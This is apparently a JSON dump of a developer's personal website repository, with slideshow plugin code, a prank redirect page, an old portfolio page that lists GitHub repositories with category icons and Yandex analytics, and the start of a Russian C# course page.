transition + '-out');\n\n                            $slides.each(function () {\n                                var video = $slides.find('video').get(0);\n\n                                if (video) {\n                                    video.volume = 1;\n                                    self._fadeOutSound(video, transitionDuration);\n                                }\n                            });\n\n                            $slide\n                                .css('transition', 'all ' + transitionDuration + 'ms')\n                                .addClass('vegas-transition-' + transition + '-in');\n                        } else {\n                            $slide.fadeIn(transitionDuration);\n                        }\n                    }\n\n                    for (var i = 0; i < $slides.length - 4; i++) {\n                         $slides.eq(i).remove();\n                    }\n\n                    self.trigger('walk');\n                    self._slideShow();\n                }, 100);\n            }\n            if (video) {\n                if (video.readyState === 4) {\n                    video.currentTime = 0;\n                }\n                \n                video.play();\n                go();\n            } else {\n                img.src = src;\n                img.onload = go;\n            }\n        },\n\n        shuffle: function () {\n            var temp,\n                rand;\n\n            for (var i = this.total - 1; i > 0; i--) {\n                rand = Math.floor(Math.random() * (i + 1));\n                temp = this.settings.slides[i];\n\n                this.settings.slides[i] = this.settings.slides[rand];\n                this.settings.slides[rand] = temp;\n            }\n        },\n\n        play: function () {\n            if (this.paused) {\n                this.paused = false;\n                this.next();\n                this.trigger('play');\n            }\n        },\n\n        pause: function () {\n            this._timer(false);\n            this.paused = true;\n            this.trigger('pause');\n        },\n\n        toggle: function () {\n            if (this.paused) {\n                this.play();\n            } else {\n                this.pause();\n            }\n        },\n\n        playing: function () {\n            return !this.paused && !this.noshow;\n        },\n\n        current: function (advanced) {\n            if (advanced) {\n                return {\n                    slide: this.slide,\n                    data:  this.settings.slides[this.slide]\n                };\n            }\n            return this.slide;\n        },\n\n        jump: function (nb) {\n            if (nb < 0 || nb > this.total - 1 || nb === this.slide) {\n                return;\n            }\n\n            this.slide = nb;\n            this._goto(this.slide);\n        },\n\n        next: function () {\n            this.slide++;\n\n            if (this.slide >= this.total) {\n                this.slide = 0;\n            }\n\n            this._goto(this.slide);\n        },\n\n        previous: function () {\n            this.slide--;\n\n            if (this.slide < 0) {\n                this.slide = this.total - 1;\n            }\n\n            this._goto(this.slide);\n        },\n\n        trigger: function (fn) {\n            var params = [];\n\n            if (fn === 'init') {\n                params = [ this.settings ];\n            } else {\n                params = [ \n                    this.slide, \n                    this.settings.slides[this.slide]\n                ];\n            }\n\n            this.$elmt.trigger('vegas' + fn, params);\n\n            if (typeof this.settings[fn] === 'function') {\n                this.settings[fn].apply(this.$elmt, params);\n            }\n        },\n\n        options: function (key, value) {\n            var oldSlides = this.settings.slides.slice();\n\n            if (typeof key === 'object') {\n                this.settings = $.extend({}, defaults, $.vegas.defaults, key);\n            } else if (typeof key === 'string') {\n                if (value === undefined) {\n                    return this.settings[key];\n                }\n                this.settings[key] = value; \n            } else {\n                return this.settings;\n            }\n\n            // In case slides have changed\n            if (this.settings.slides !== oldSlides) {\n                this.total  = this.settings.slides.length;\n                this.noshow = this.total < 2;\n                this._preload();   \n            }\n        },\n\n        destroy: function () {\n            clearTimeout(this.timeout); \n\n            this.$elmt.removeClass('vegas-container');\n            this.$elmt.find('> .vegas-slide').remove();\n            this.$elmt.find('> .vegas-wrapper').clone(true).children().appendTo(this.$elmt);\n            this.$elmt.find('> .vegas-wrapper').remove();\n\n            if (this.settings.timer) {\n                this.$timer.remove();\n            }\n\n            if (this.settings.overlay) {\n                this.$overlay.remove();\n            }\n            \n            this.elmt._vegas = null;\n        }\n    };\n\n    $.fn.vegas = function(options) {\n        var args = arguments,\n            error = false,\n            returns;\n\n        if (options === undefined || typeof options === 'object') {\n            return this.each(function () {\n                if (!this._vegas) {\n                    this._vegas = new Vegas(this, options);\n                }\n            });\n        } else if (typeof options === 'string') {\n            this.each(function () {\n                var instance = this._vegas;\n\n                if (!instance) {\n                    throw new Error('No Vegas applied to this element.');\n                }\n\n                if (typeof instance[options] === 'function' && options[0] !== '_') {\n                    returns = instance[options].apply(instance, [].slice.call(args, 1));\n                } else {\n                    error = true;\n                }\n            });\n\n            if (error) {\n                throw new Error('No method \"' + options + '\" in Vegas.');\n            }\n\n            return returns !== undefined ? returns : this;\n        }\n    };\n\n    $.vegas = {};\n    $.vegas.defaults = defaults;\n\n    $.vegas.isVideoCompatible = function () {\n        return !/(Android|webOS|Phone|iPad|iPod|BlackBerry|Windows Phone)/i.test(navigator.userAgent);\n    };\n\n})(window.jQuery || window.Zepto);"
  },
  {
    "path": "mvn/index.html",
    "content": "<script>location=\"https://www.youtube.com/watch?v=dQw4w9WgXcQ\";</script>\n"
  },
  {
    "path": "old-website/404.html",
    "content": "access denied"
  },
  {
    "path": "old-website/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"ru\">\n\n<head>\n    <meta charset=\"UTF-8\">\n\n    <meta name=\"viewport\" content=\"width=device-width, user-scalable=no\">\n\n    <meta name=\"title\" content=\"dosx.su\">\n    <meta name=\"description\" content=\"DosX -> Attack, Defend, Anticipate\">\n    <meta name=\"keywords\" content=\"DosX, programmer, software development, windows, web, protection, github, dosx-dev\">\n    <meta name=\"author\" content=\"DosX\">\n    <meta name=\"robots\" content=\"index, follow\">\n    <meta name=\"googlebot\" content=\"index, follow\">\n\n    <title>~DosX</title>\n\n    <style>\n        html,\n        body {\n            height: 100%;\n            margin: 0;\n            font-family: Arial, sans-serif;\n            transition: background-color 0.3s, color 0.3s;\n        }\n        \n        body.light-theme {\n            background-color: #ffffff;\n            color: #000000;\n        }\n        \n        body.light-theme .theme-toggle {\n            background-color: #ffffff;\n            border: 1px solid #000000;\n            color: #000000;\n        }\n        \n        body.light-theme .block-container:hover {\n            background-color: #f0f0f0;\n            border-color: #888;\n        }\n        \n        body.dark-theme {\n            background-color: #121212;\n            color: #ffffff;\n        }\n        \n        body.dark-theme .theme-toggle {\n            background-color: #333333;\n            border: 1px solid #ffffff;\n            color: #ffffff;\n        }\n        \n        body.dark-theme .block-container:hover {\n            background-color: #333333;\n            border-color: #ffffff;\n        }\n        \n        .theme-toggle {\n            position: absolute;\n            top: 10px;\n            left: 10px;\n            border-radius: 20px;\n            padding: 5px 10px;\n            cursor: pointer;\n            transition: background-color 0.3s, border-color 0.3s;\n        }\n        \n        .welcome-block {\n            padding: 10px;\n            text-align: center;\n        }\n        \n        .welcome-block h1 {\n            margin: 0;\n            font-size: 36px;\n        }\n        \n        .welcome-block p {\n            font-size: 18px;\n            margin: 10px 0 0;\n        }\n        \n        .block {\n            box-sizing: border-box;\n        }\n        \n        *,\n        *:before,\n        *:after {\n            box-sizing: inherit;\n        }\n        \n        .block-container {\n            width: 100%;\n            max-width: 1200px;\n            margin: 0 auto;\n            padding-left: 20px;\n            padding-right: 20px;\n            border-left: 1px solid #000;\n            transition: background-color 0.3s, border-color 0.3s, opacity 0.3s ease-in-out;\n            cursor: pointer;\n            opacity: 0;\n        }\n        \n        .block-container.visible {\n            opacity: 1;\n        }\n        \n        .block-caption {\n            margin-top: -20px;\n        }\n        \n        .loading {\n            font-size: 24px;\n            text-align: center;\n            color: #666;\n            margin-top: 20px;\n            margin-bottom: 30px;\n            animation: fadeInOut 1s infinite;\n        }\n        \n        .repo-info {\n            font-size: 14px;\n            margin-top: 10px;\n            display: flex;\n            align-items: center;\n        }\n        \n        .repo-info img {\n            margin-right: 5px;\n        }\n        \n        .repo-info .star-count,\n        .repo-info .fork-count {\n            margin-right: 5px;\n        }\n        \n        .ava {\n            border-radius: 50%;\n            border: 1px solid #444444;\n        }\n        \n        @keyframes fadeInOut {\n            0%,\n            100% {\n                opacity: 0;\n            }\n            50% {\n                opacity: 1;\n            }\n        }\n        \n        img {\n            user-select: none;\n            -webkit-user-drag: none;\n            -webkit-touch-callout: none;\n            -webkit-user-select: none;\n            -khtml-user-select: none;\n            -moz-user-select: none;\n            -ms-user-select: none;\n            user-select: none;\n        }\n        \n         ::selection {\n            background: #585858;\n            color: white;\n        }\n        \n        .text {\n            max-width: 1200px;\n            margin: 0 auto;\n            padding-left: 20px;\n            padding-right: 20px;\n            padding-top: 10px;\n            font-size: 18px;\n        }\n        \n        a {\n            color: #0084ff;\n            text-decoration: none;\n            font-family: Consolas, \"Liberation Mono\", Menlo, Courier, monospace;\n        }\n        \n        hr {\n            border: none;\n            border-top: 1px solid #9c9c9c;\n            margin: 10px 0;\n        }\n        \n        * {\n            -webkit-tap-highlight-color: transparent;\n        }\n        \n        body.light-theme svg,\n        body.light-theme img[src$=\".svg\"] {\n            filter: invert(0%);\n            transition: filter 0.3s, color 0.3s;\n        }\n        \n        body.dark-theme svg,\n        body.dark-theme img[src$=\".svg\"] {\n            filter: invert(100%);\n            transition: filter 0.3s, color 0.3s;\n        }\n        \n        body.light-theme hr,\n        body.light-theme .block-container {\n            border-color: #9c9c9c;\n        }\n        \n        body.dark-theme hr,\n        body.dark-theme .block-container {\n            border-color: white;\n        }\n        \n        body.light-theme {\n            background-color: white;\n            color: #000000;\n            transition: background-color 0.3s, color 0.3s;\n        }\n        \n        body.dark-theme {\n            background-color: #121212;\n            color: white;\n            transition: background-color 0.3s, color 0.3s;\n        }\n        \n        .no-animation.light-theme,\n        .no-animation.dark-theme {\n            transition: none;\n        }\n        \n        .footer {\n            font-size: 12px;\n            text-align: center;\n            padding: 3px 0;\n            margin-top: 30px;\n            background-color: #f0f0f0;\n            border-top: 1px solid #e4e3e3;\n            color: #363636;\n        }\n        \n        body.dark-theme .footer {\n            background-color: #1f1f1f;\n            border-top: 1px solid #646464;\n            color: #b6b6b6;\n        }\n        /* Добавляем Flexbox */\n        \n        .wrapper {\n            display: flex;\n            flex-direction: column;\n            min-height: 100vh;\n        }\n        \n        .content {\n            flex: 1;\n        }\n        \n        .hidden {\n            display: none;\n        }\n        \n        .banner {\n            font-family: 'Trebuchet MS', 'Lucida Sans Unicode', 'Lucida Grande', 'Lucida Sans', Arial, sans-serif;\n            background-color: rgb(119, 1, 1);\n            color: rgb(255, 241, 162);\n            text-align: center;\n            padding: 5px;\n            font-size: 14px;\n            margin: 10px auto;\n            border: 2px solid rgb(255, 241, 162);\n            border-radius: 5px;\n            width: 80%;\n            max-width: 600px;\n            box-sizing: border-box;\n        }\n        \n        @media (max-width: 600px) {\n            .banner {\n                margin-top: 50px;\n                margin-bottom: 20px;\n            }\n        }\n    </style>\n</head>\n\n<body class=\"light-theme\">\n    <div class=\"banner hidden\">\n        В связи с абсурдной политикой Роскомнадзора <b>доступ к этому сайту для россиян может стать невозможным</b>. Сохраните мои контактные данные на этот случай.\n    </div>\n    <div class=\"wrapper\">\n        <div class=\"content\">\n            <div class=\"theme-toggle\" onclick=\"toggleTheme()\"><img src=\"res/lamp.svg\" width=\"16\" height=\"16\"></div>\n\n            <div class=\"welcome-block\">\n                <img src=\"res/ava.gif\" class=\"ava\" width=\"200\" height=\"200\">\n                <h1>DosX<img src=\"res/verified.svg\" width=\"26\" height=\"26\"></h1>\n                <p id=\"random-slogan\" class=\"slogan\"></p>\n            </div>\n            <hr>\n            <div class=\"text\">\n                <h3>About me</h3>\n                <p>For a long time I was engaged in the development of conventional software for Windows. At the moment, I've expanded my skills and am already developing websites, desktop programs, server software and various protections for them. <b>I love my job! <img src=\"res/heart.svg\" width=\"16\" height=\"16\"></b>                    You can view my portfolio below and take a first-hand look at each of the publicly released projects.</p>\n                <div>\n                    <img src=\"res/mail.svg\" width=\"16\" height=\"16\"> Email:\n                    <a href=\"\" id=\"mail\"></a>\n                    <br>\n                    <img src=\"res/telegram.svg\" width=\"16\" height=\"16\"> Telegram:\n                    <a href=\"https://t.me/DosX_dev\">@DosX_dev</a>\n                    <br>\n                    <img src=\"res/github.svg\" width=\"16\" height=\"16\"> GitHub:\n                    <a href=\"https://github.com/DosX-dev\">@DosX-dev</a>\n                </div>\n\n                <h3>My respositories and projects</h3>\n            </div>\n            <div id=\"loading\" class=\"loading\">Please wait... Loading...</div>\n            <div id=\"repositories\"></div>\n        </div>\n\n        <footer class=\"footer\">\n            <p>&copy; DosX, <span id=\"year\"></span>. All rights reserved. The information on this site is provided «as is» and is for informational purposes only.</p>\n        </footer>\n    </div>\n    </div>\n\n    <script>\n        if (navigator.language === \"ru\") {\n            document.querySelector(\".banner\").classList.remove(\"hidden\");\n        }\n    </script>\n\n    <script>\n        console.log(\"Hello! :)\");\n\n        let mailLabel = document.getElementById('mail');\n        if (mailLabel) {\n            mailLabel.innerHTML = \"collab\" + \"@\" + \"kay-software.ru\";\n            mailLabel.href = \"mailto:\" + mailLabel.innerText;\n        }\n\n        let randomSloganLabel = document.getElementById('random-slogan');\n        if (randomSloganLabel) {\n            const slogans = [\n                \"Hard work will help pass the time.\",\n                \"I'm #404 and distant like Jupiter.\",\n                \"Syntax errors build character.\",\n                \"Attack, Defend, Anticipate!\",\n                \"There is no spoon.\",\n                \"The cake is a lie.\",\n            ];\n\n            const printEffect = (text, index) => {\n                if (index < text.length) {\n                    randomSloganLabel.innerText = text.substring(0, index + 1);\n                    setTimeout(() => {\n                        printEffect(text, index + 1);\n                    }, 30);\n                }\n            };\n\n            printEffect(slogans[Math.floor(Math.random() * slogans.length)], 0);\n        }\n\n        let yearLabel = document.getElementById('year');\n        if (yearLabel) {\n            yearLabel.innerText = new Date().getFullYear();\n        }\n\n        const API_URL = \"https://api.github.com/users/DosX-dev/repos\";\n        const STORAGE_KEY = \"dosx_repos\";\n        const LAST_FETCH_KEY = \"dosx_last_fetch\";\n        const PER_PAGE = 100;\n        const CACHE_ACTUAL_TIME = 60 * 60 * 1000;\n\n        async function fetchRepositories() {\n            let allRepos = [];\n            let page = 1;\n            let loadingLabel = document.getElementById(\"loading\");\n\n            try {\n                while (true) {\n                    const response = await fetch(`${API_URL}?per_page=${PER_PAGE}&page=${page}`);\n                    const repos = await response.json();\n\n                    if (repos.length === 0) break;\n\n                    allRepos = allRepos.concat(repos);\n                    page += 1;\n                }\n\n                localStorage.setItem(STORAGE_KEY, JSON.stringify(allRepos));\n                localStorage.setItem(LAST_FETCH_KEY, Date.now().toString());\n\n                if (loadingLabel) {\n                    loadingLabel.innerText = \"Repositories loaded.\";\n                }\n\n                return allRepos;\n            } catch (error) {\n                console.error(\"Error fetching repositories:\", error);\n                if (loadingLabel) {\n                    loadingLabel.innerText = \"Error loading repositories.\";\n                }\n                return null;\n            }\n        }\n\n        function displayRepositories(repos) {\n            const reposContainer = document.getElementById(\"repositories\");\n\n            const nonForkRepos = repos.filter(repo => !repo.fork &&\n                repo.topics && repo.topics.length > 0 &&\n                repo.description && repo.description.length > 0);\n\n            nonForkRepos.sort((a, b) => b.stargazers_count - a.stargazers_count); // sort by stars\n\n            let reposCounter = 0;\n            nonForkRepos.forEach((repo, index) => {\n                reposCounter++;\n\n                console.log(`Repo #${reposCounter}: ${repo.name}`);\n\n                const block = document.createElement(\"div\");\n                block.className = \"block\";\n\n                const blockContainer = document.createElement(\"div\");\n                blockContainer.className = \"block-container\";\n                blockContainer.onclick = () => handleClick(repo.html_url);\n\n                const title = document.createElement('h2');\n\n                const repoDescLower = repo.description.toLowerCase();\n                title.innerHTML = repo.name +\n                    getCategoryIcon(repo.topics.includes(\"game\") || repo.name.includes(\"game\"),\n                        \"game\") +\n                    getCategoryIcon(repo.topics.includes(\"malware\") || repo.topics.includes(\"stub\") || repoDescLower.includes(\"malware\") || repoDescLower.includes(\"bypass\") || repoDescLower.includes(\"virus\") || repoDescLower.includes(\"spyware\") || repoDescLower.includes(\"ransomware\") || repoDescLower.includes(\"rootkit\") || repoDescLower.includes(\"keylogger\") || repoDescLower.includes(\"clipper\") || repoDescLower.includes(\"crack\") || repoDescLower.includes(\"backdoor\"),\n                        \"virus\") +\n                    getCategoryIcon(repo.topics.includes(\"example\") || repo.topics.includes(\"learning\") || repoDescLower.includes(\"example of\") || repoDescLower.includes(\"learn\") || repoDescLower.includes(\"study\") || repoDescLower.includes(\"tutorial\"),\n                        \"learn\") +\n                    getCategoryIcon(repo.topics.includes(\"web\") || repoDescLower.includes(\"web-\") || repoDescLower.includes(\"html\") || repoDescLower.includes(\"css\"),\n                        \"web\") +\n                    getCategoryIcon(repo.topics.includes(\"optimizer\") || repoDescLower.includes(\"cleanup\") || repoDescLower.includes(\"clean up\") || repoDescLower.includes(\"optimization\") || repoDescLower.includes(\"optimize \"),\n                        \"leaf\") +\n                    getCategoryIcon(repo.topics.includes(\"sorter\") || repo.topics.includes(\"detector\") || repo.topics.includes(\"scanner\") || repoDescLower.includes(\"sort\") || repoDescLower.includes(\" collection\") || repoDescLower.includes(\"database\"),\n                        \"database\") +\n                    getCategoryIcon(repo.topics.includes(\"protection\") || repoDescLower.includes(\"protect\") || repoDescLower.includes(\"obfuscat\"),\n                        \"shield\") +\n                    getCategoryIcon(repo.topics.includes(\"library\"),\n                        \"sdk\") +\n                    getCategoryIcon(reposCounter === 1, \"crown\");\n\n                const caption = document.createElement(\"p\");\n                caption.className = \"block-caption\";\n                caption.innerText = repo.description; // || 'No description available';\n\n                const repoInfo = document.createElement(\"p\");\n                repoInfo.className = \"repo-info\";\n                repoInfo.innerHTML = `<img src=\"res/star.svg\" width=\"15\" height=\"15\"> <span class=\"star-count\">${repo.stargazers_count}</span> <img src=\"res/fork.svg\" width=\"15\" height=\"15\"> <span class=\"fork-count\">${repo.forks_count}</span>`;\n\n                blockContainer.appendChild(title);\n                blockContainer.appendChild(caption);\n                blockContainer.appendChild(repoInfo);\n                block.appendChild(blockContainer);\n                reposContainer.appendChild(block);\n\n                setTimeout(() => {\n                    blockContainer.classList.add(\"visible\");\n                }, index * 70);\n\n                var loadingLabel = document.getElementById(\"loading\");\n\n                if (loadingLabel) {\n                    loadingLabel.style.display = \"none\";\n                }\n            });\n        }\n\n        function getCategoryIcon(condition, iconName) {\n            return condition ? `<img src=\"res/${iconName}.svg\" width=\"30\" height=\"20\">` : \"\";\n        }\n\n        function handleClick(url) {\n            window.open(url, \"_blank\");\n        }\n\n        async function loadRepositories() {\n            const lastFetch = localStorage.getItem(LAST_FETCH_KEY);\n            const now = Date.now();\n\n            if (lastFetch && now - parseInt(lastFetch, 10) < CACHE_ACTUAL_TIME) {\n                const cachedRepos = localStorage.getItem(STORAGE_KEY);\n                if (cachedRepos) {\n                    displayRepositories(JSON.parse(cachedRepos));\n                    return;\n                }\n            }\n\n            const repos = await fetchRepositories();\n            if (repos) {\n                displayRepositories(repos);\n            }\n        }\n\n        document.addEventListener(\"DOMContentLoaded\", loadRepositories);\n\n        document.addEventListener(\"DOMContentLoaded\", () => {\n            document.body.classList.add(\"no-animation\");\n\n            const savedTheme = localStorage.getItem(\"theme\");\n            const initialTheme = savedTheme || (window.matchMedia('(prefers-color-scheme: dark)').matches ? \"dark\" : \"light\");\n\n            document.body.classList.add(`${initialTheme}-theme`);\n            if (!savedTheme) {\n                localStorage.setItem(\"theme\", initialTheme);\n            }\n\n            setTimeout(() => { // removes animation class after 100ms\n                document.body.classList.remove(\"no-animation\");\n            }, 100);\n        });\n\n        function toggleTheme() {\n            const currentTheme = document.body.classList.contains('dark-theme') ? \"dark\" : \"light\";\n            const newTheme = currentTheme === \"dark\" ? \"light\" : \"dark\";\n\n            document.body.classList.replace(`${currentTheme}-theme`, `${newTheme}-theme`);\n            localStorage.setItem(\"theme\", newTheme);\n        }\n    </script>\n\n    <!-- Yandex.Metrika counter -->\n    <script type=\"text/javascript\">\n        (function(m, e, t, r, i, k, a) {\n            m[i] = m[i] || function() {\n                (m[i].a = m[i].a || []).push(arguments)\n            };\n            m[i].l = 1 * new Date();\n            for (var j = 0; j < document.scripts.length; j++) {\n                if (document.scripts[j].src === r) {\n                    return;\n                }\n            }\n            k = e.createElement(t), a = e.getElementsByTagName(t)[0], k.async = 1, k.src = r, a.parentNode.insertBefore(k, a)\n        })\n        (window, document, \"script\", \"https://mc.yandex.ru/metrika/tag.js\", \"ym\");\n\n        ym(99004160, \"init\", {\n            clickmap: true,\n            trackLinks: true,\n            accurateTrackBounce: true,\n            webvisor: true,\n            trackHash: true\n        });\n    </script>\n    <noscript><div><img src=\"https://mc.yandex.ru/watch/99004160\" style=\"position:absolute; left:-9999px;\" alt=\"\" /></div></noscript>\n    <!-- /Yandex.Metrika counter -->\n</body>\n\n</html>"
  },
  {
    "path": "old-website/res/site.html",
    "content": "<!DOCTYPE html>\n<html lang=\"ru\">\n\n<head>\n    <meta charset=\"utf-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">\n    <title>DosX Repositories</title>\n\n    <style>\n        body {\n            margin: 0;\n            font-family: Arial, sans-serif;\n        }\n        \n        .welcome-block {\n            padding: 10px;\n            text-align: center;\n        }\n        \n        .welcome-block h1 {\n            margin: 0;\n            font-size: 36px;\n        }\n        \n        .welcome-block p {\n            font-size: 18px;\n            margin: 10px 0 0;\n        }\n        \n        .block {\n            margin: 10px 0;\n        }\n        \n        .block-container {\n            width: 100%;\n            max-width: 1200px;\n            margin: 0 auto;\n            padding-left: 20px;\n            padding-right: 20px;\n            border-left: 1px solid #000;\n            transition: background-color 0.3s, border-color 0.3s, opacity 0.3s ease-in-out;\n            cursor: pointer;\n            opacity: 0;\n        }\n        \n        .block-container.visible {\n            opacity: 1;\n        }\n        \n        .block-container:hover {\n            background-color: #f0f0f0;\n            border-color: #888;\n        }\n        \n        .block-caption {\n            margin-top: -20px;\n        }\n        \n        .loading {\n            font-size: 24px;\n            text-align: center;\n            color: #666;\n            margin-top: 20px;\n            animation: fadeInOut 1s infinite;\n        }\n        \n        .repo-info {\n            font-size: 14px;\n            color: #333;\n            margin-top: 10px;\n            display: flex;\n            align-items: center;\n        }\n        \n        .repo-info img {\n            margin-right: 5px;\n        }\n        \n        .repo-info .star-count,\n        .repo-info .fork-count {\n            margin-right: 5px;\n        }\n        \n        .ava {\n            border-radius: 50%;\n        }\n        \n        @keyframes fadeInOut {\n            0%,\n            100% {\n                opacity: 0;\n            }\n            50% {\n                opacity: 1;\n            }\n        }\n        \n        img {\n            user-select: none;\n            -webkit-user-drag: none;\n        }\n        \n         ::selection {\n            background: black;\n            color: white;\n        }\n    </style>\n</head>\n\n<body>\n\n    <div class=\"welcome-block\">\n        <img src=\"ava.png\" class=\"ava\" width=\"200\" height=\"200\" />\n        <h1>DosX<img src=\"verified.svg\" width=\"26\" height=\"26\" /></h1>\n        <p>If bugs are the engine of progress, then I'm a very progressive programmer.</p>\n    </div>\n    <hr>\n\n    <div id=\"loading\" class=\"loading\">Please wait... Loading...</div>\n    <div id=\"repositories\"></div>\n\n    <script>\n        const API_URL = 'https://api.github.com/users/DosX-dev/repos';\n        const STORAGE_KEY = 'dosx_repos';\n        const LAST_FETCH_KEY = 'dosx_last_fetch';\n        const ONE_DAY = 24 * 60 * 60 * 1000;\n\n        async function fetchRepositories() {\n            try {\n                const response = await fetch(API_URL);\n                const repos = await response.json();\n                localStorage.setItem(STORAGE_KEY, JSON.stringify(repos));\n                localStorage.setItem(LAST_FETCH_KEY, Date.now().toString());\n                return repos;\n            } catch (error) {\n                console.error('Error fetching repositories:', error);\n                const loadingLabel = document.getElementById('loading');\n                if (loadingLabel) {\n                    loadingLabel.innerText = 'Error loading repositories.';\n                }\n                return null;\n            }\n        }\n\n\n        function displayRepositories(repos) {\n            const reposContainer = document.getElementById('repositories');\n\n            const nonForkRepos = repos.filter(repo => !repo.fork &&\n                repo.topics && repo.topics.length > 0 &&\n                repo.description && repo.description.length > 0);\n\n            nonForkRepos.sort((a, b) => b.stargazers_count - a.stargazers_count); // sort by stars\n\n            let reposCounter = 0;\n            nonForkRepos.forEach((repo, index) => {\n                reposCounter++;\n\n                const block = document.createElement('div');\n                block.className = 'block';\n\n                const blockContainer = document.createElement('div');\n                blockContainer.className = 'block-container';\n                blockContainer.onclick = () => handleClick(repo.html_url);\n\n                const title = document.createElement('h2');\n                title.innerHTML = repo.name + (reposCounter === 1 ? '<img src=\"crown.svg\" width=\"30\" height=\"20\" />' : '');\n\n                const caption = document.createElement('p');\n                caption.className = 'block-caption';\n                caption.innerText = repo.description; // || 'No description available';\n\n                const repoInfo = document.createElement('p');\n                repoInfo.className = 'repo-info';\n                repoInfo.innerHTML = `<img src=\"star.svg\" width=\"15\" height=\"15\" /> <span class=\"star-count\">${repo.stargazers_count}</span> <img src=\"fork.svg\" width=\"15\" height=\"15\" /> <span class=\"fork-count\">${repo.forks_count}</span>`;\n\n                blockContainer.appendChild(title);\n                blockContainer.appendChild(caption);\n                blockContainer.appendChild(repoInfo);\n                block.appendChild(blockContainer);\n                reposContainer.appendChild(block);\n\n                setTimeout(() => {\n                    blockContainer.classList.add('visible');\n                }, index * 70);\n\n                var loadingLabel = document.getElementById('loading');\n\n                if (loadingLabel) {\n                    loadingLabel.style.display = 'none';\n                }\n            });\n        }\n\n        function handleClick(url) {\n            window.open(url, '_blank');\n        }\n\n        async function loadRepositories() {\n            const lastFetch = localStorage.getItem(LAST_FETCH_KEY);\n            const now = Date.now();\n\n            if (lastFetch && now - parseInt(lastFetch, 10) < ONE_DAY) {\n                const cachedRepos = localStorage.getItem(STORAGE_KEY);\n                if (cachedRepos) {\n                    displayRepositories(JSON.parse(cachedRepos));\n                    return;\n                }\n            }\n\n            const repos = await fetchRepositories();\n            if (repos) {\n                displayRepositories(repos);\n            }\n        }\n\n        document.addEventListener('DOMContentLoaded', loadRepositories);\n    </script>\n</body>\n\n</html>"
  },
  {
    "path": "robots.txt",
    "content": "User-agent: *\nAllow: /"
  },
  {
    "path": "ru/csharp_с_нуля__курс_для_тех_кто_не_понимает_но_хочет_понять/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"ru\">\n<head>\n<meta charset=\"utf-8\">\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n<title>C# с нуля — курс</title>\n<style>\npre { line-height: 125%; }\ntd.linenos .normal { color: #666666; background-color: transparent; padding-left: 5px; padding-right: 5px; }\nspan.linenos { color: #666666; background-color: transparent; padding-left: 5px; padding-right: 5px; }\ntd.linenos .special { color: #000000; background-color: #ffffc0; padding-left: 5px; padding-right: 5px; }\nspan.linenos.special { color: #000000; background-color: #ffffc0; padding-left: 5px; padding-right: 5px; }\n.highlight .hll { background-color: #ffffcc }\n.highlight { background: #f0f0f0; }\n.highlight .c { color: #60a0b0; font-style: italic } /* Comment */\n.highlight .err { border: 1px solid #FF0000 } /* Error */\n.highlight .k { color: #007020; font-weight: bold } /* Keyword */\n.highlight .o { color: #666666 } /* Operator */\n.highlight .ch { color: #60a0b0; font-style: italic } /* Comment.Hashbang */\n.highlight .cm { color: #60a0b0; font-style: italic } /* Comment.Multiline */\n.highlight .cp { color: #007020 } /* Comment.Preproc */\n.highlight .cpf { color: #60a0b0; font-style: italic } /* Comment.PreprocFile */\n.highlight .c1 { color: #60a0b0; font-style: italic } /* Comment.Single */\n.highlight .cs { color: #60a0b0; background-color: #fff0f0 } /* Comment.Special */\n.highlight .gd { color: #A00000 } /* Generic.Deleted */\n.highlight .ge { font-style: italic } /* Generic.Emph */\n.highlight .ges { font-weight: bold; font-style: italic } /* Generic.EmphStrong */\n.highlight .gr { color: #FF0000 } /* Generic.Error */\n.highlight .gh { color: #000080; font-weight: bold } /* Generic.Heading */\n.highlight .gi { color: #00A000 } /* Generic.Inserted */\n.highlight .go { color: #888888 } /* Generic.Output */\n.highlight .gp { color: #c65d09; font-weight: bold } /* Generic.Prompt */\n.highlight .gs { font-weight: bold } /* Generic.Strong */\n.highlight .gu { color: #800080; font-weight: bold } /* Generic.Subheading */\n.highlight .gt { color: #0044DD } /* Generic.Traceback */\n.highlight .kc { color: #007020; font-weight: bold } /* Keyword.Constant */\n.highlight .kd { color: #007020; font-weight: bold } /* Keyword.Declaration */\n.highlight .kn { color: #007020; font-weight: bold } /* Keyword.Namespace */\n.highlight .kp { color: #007020 } /* Keyword.Pseudo */\n.highlight .kr { color: #007020; font-weight: bold } /* Keyword.Reserved */\n.highlight .kt { color: #902000 } /* Keyword.Type */\n.highlight .m { color: #40a070 } /* Literal.Number */\n.highlight .s { color: #4070a0 } /* Literal.String */\n.highlight .na { color: #4070a0 } /* Name.Attribute */\n.highlight .nb { color: #007020 } /* Name.Builtin */\n.highlight .nc { color: #0e84b5; font-weight: bold } /* Name.Class */\n.highlight .no { color: #60add5 } /* Name.Constant */\n.highlight .nd { color: #555555; font-weight: bold } /* Name.Decorator */\n.highlight .ni { color: #d55537; font-weight: bold } /* Name.Entity */\n.highlight .ne { color: #007020 } /* Name.Exception */\n.highlight .nf { color: #06287e } /* Name.Function */\n.highlight .nl { color: #002070; font-weight: bold } /* Name.Label */\n.highlight .nn { color: #0e84b5; font-weight: bold } /* Name.Namespace */\n.highlight .nt { color: #062873; font-weight: bold } /* Name.Tag */\n.highlight .nv { color: #bb60d5 } /* Name.Variable */\n.highlight .ow { color: #007020; font-weight: bold } /* Operator.Word */\n.highlight .w { color: #bbbbbb } /* Text.Whitespace */\n.highlight .mb { color: #40a070 } /* Literal.Number.Bin */\n.highlight .mf { color: #40a070 } /* Literal.Number.Float */\n.highlight .mh { color: #40a070 } /* Literal.Number.Hex */\n.highlight .mi { color: #40a070 } /* Literal.Number.Integer */\n.highlight .mo { color: #40a070 } /* Literal.Number.Oct */\n.highlight .sa { color: #4070a0 } /* Literal.String.Affix */\n.highlight .sb { color: #4070a0 } /* Literal.String.Backtick */\n.highlight .sc { color: #4070a0 } /* Literal.String.Char */\n.highlight .dl { color: #4070a0 } /* Literal.String.Delimiter */\n.highlight .sd { color: #4070a0; font-style: italic } /* Literal.String.Doc */\n.highlight .s2 { color: #4070a0 } /* Literal.String.Double */\n.highlight .se { color: #4070a0; font-weight: bold } /* Literal.String.Escape */\n.highlight .sh { color: #4070a0 } /* Literal.String.Heredoc */\n.highlight .si { color: #70a0d0; font-style: italic } /* Literal.String.Interpol */\n.highlight .sx { color: #c65d09 } /* Literal.String.Other */\n.highlight .sr { color: #235388 } /* Literal.String.Regex 